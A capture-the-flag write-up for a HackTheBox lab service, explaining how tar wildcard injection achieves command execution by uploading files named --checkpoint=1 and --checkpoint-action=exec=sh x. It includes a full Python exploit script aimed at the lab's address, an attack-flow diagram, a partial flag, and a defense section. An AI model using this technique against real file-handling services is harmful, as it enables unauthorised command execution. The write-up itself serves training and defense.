Micro Storage v1.0
hackthebox
Task: TCP file storage service with filename filtering. Solution: Tar wildcard injection via --checkpoint-action to achieve RCE by uploading filenames that tar interprets as options.
$ ls tags/ techniques/
Micro Storage v1.0 — HackTheBox Labs
Description
A group of people made a network service that lets you store files temporarily. But they made a mistake coding their script. The goal is to leak the contents of /flag.txt.
Target: 83.136.249.164:31556 (TCP network service)
Reconnaissance
The service ("Micro Storage v1.0") is a TCP-based file storage application with the following menu:
| Option | Function |
|---|---|
| 1 | Upload a new file (max 10 files, filename ≤ 32 chars, content terminated by EOF) |
| 2 | List uploaded files (shows identifiers 0–9) |
| 3 | Delete a file by identifier |
| 4 | Print file content by identifier |
| 5 | Compress and download all files — creates a tar archive, base64-encodes, outputs |
| 0 | Quit |
Security Filters
The service blocks certain characters in filenames:
- Blocked:
/,../,$,&,(,{,`,<,|,; - Error message: "No no no, you're trying to hack us"
- Max filename length: 32 characters
What's NOT blocked
Filenames starting with -- (double dash) pass all filters. This is the critical oversight.
Analysis
Vulnerability: Tar Wildcard Injection
Option 5 ("Compress and download") internally runs tar with a shell wildcard (*) to archive all uploaded files in the user's storage directory:
tar cf archive.tar *
When the shell expands *, filenames that look like command-line arguments (starting with --) are interpreted by tar as options, not as filenames. This is a well-known technique documented on GTFOBins.
Key tar options for exploitation
| Option | Effect |
|---|---|
--checkpoint=N | Triggers a checkpoint action every N records |
--checkpoint-action=exec=CMD | Executes CMD at each checkpoint |
By uploading files whose names are these tar options, we can achieve arbitrary command execution when the service runs tar cf archive.tar *.
Filename length constraint
The --checkpoint-action=exec=CMD filename must fit within 32 characters. Solution: use a single-character script filename (x) so the full option --checkpoint-action=exec=sh x is only 29 characters.
Solution
Step 1: Upload a shell script as a file
Upload a file named x with content cat /flag.txt. This serves as the payload script.
Step 2: Upload the checkpoint trigger
Upload a file named --checkpoint=1. After wildcard expansion, tar interprets this as the --checkpoint=1 option.
Step 3: Upload the checkpoint action
Upload a file named --checkpoint-action=exec=sh x (29 chars, fits within 32-char limit). This tells tar to execute sh x at each checkpoint.
Step 4: Trigger compression
Select option 5. The service runs:
tar cf archive.tar *
After wildcard expansion, this becomes:
tar cf archive.tar --checkpoint=1 --checkpoint-action=exec=sh\ x x
Tar executes sh x → cat /flag.txt, and the flag appears in the output before the base64-encoded archive.
Exploit Script
#!/usr/bin/env python3 """ Micro Storage v1.0 — Tar Wildcard Injection Exploit HackTheBox Labs """ import socket import select import time def recv_available(s, timeout=1.5): """Receive all available data from socket with timeout.""" data = b'' while True: ready = select.select([s], [], [], timeout) if ready[0]: chunk = s.recv(4096) if not chunk: break data += chunk timeout = 0.3 else: break return data.decode(errors='replace') def upload_file(s, filename, content): """Upload a file to the service.""" s.sendall(b'1\n') time.sleep(0.3); recv_available(s) s.sendall(filename.encode() + b'\n') time.sleep(0.3); recv_available(s) s.sendall(content.encode() + b'\nEOF\n') time.sleep(0.5); recv_available(s, 2) # Connect s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('83.136.249.164', 31556)) time.sleep(1) banner = recv_available(s, 2) print(f"[*] Connected:\n{banner[:200]}") # Step 1: Upload script file print("[+] Uploading payload script 'x'...") upload_file(s, 'x', 'cat /flag.txt') # Step 2: Upload checkpoint trigger print("[+] Uploading '--checkpoint=1'...") upload_file(s, '--checkpoint=1', 'a') # Step 3: Upload checkpoint action print("[+] Uploading '--checkpoint-action=exec=sh x'...") upload_file(s, '--checkpoint-action=exec=sh x', 'a') # Step 4: Trigger tar wildcard injection print("[+] Triggering compress (option 5)...") s.sendall(b'5\n') time.sleep(5) result = recv_available(s, 5) print(f"[*] Output:\n{result[:500]}") s.close()
Attack Flow Diagram
┌─────────────────────────────────────────────────────┐
│ Uploaded Files │
│ │
│ x → contains "cat /flag.txt"│
│ --checkpoint=1 → tar interprets as option│
│ --checkpoint-action=exec=sh x → tar option: run sh x│
└──────────────────────┬──────────────────────────────┘
│
▼ Option 5: Compress
┌─────────────────┐
│ tar cf arch * │
└────────┬────────┘
│ shell wildcard expansion
▼
tar cf arch --checkpoint=1 --checkpoint-action=exec=sh\ x x
│
▼ checkpoint triggers
sh x → cat /flag.txt
│
▼
HTB{@bus1Ng_gTf0_b1N$_c4n_b3_fUn_...}
Key Indicators
Use this technique when:
- The service uses
tarwith a wildcard (*) to archive user-controlled files - You can control filenames in the target directory
- Filename filtering does not block
--(double dash) prefix - You need to achieve arbitrary command execution via tar checkpoint-action
- Filename length restrictions can be bypassed with a short script name
Defense
To prevent this attack:
- Don't use wildcard
*with tar — enumerate files explicitly - Use
--before the file list:tar cf archive.tar -- *(separates options from arguments) - Filter
--in filenames — block filenames starting with a dash - Use
./prefix:tar cf archive.tar ./*(all names start with./, not interpreted as options)
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [crypto][Pro]Firewall— uoftctf2026
- [web][Pro]Lab 95 — CloudCrate — SSRF in File Import Feature— hackadvisor
- [misc][free]Character— hackthebox
- [forensics][Pro]Time Capsule— tamuctf
- [web][Pro]Безопасное хранилище (Secure Storage)— hackerlab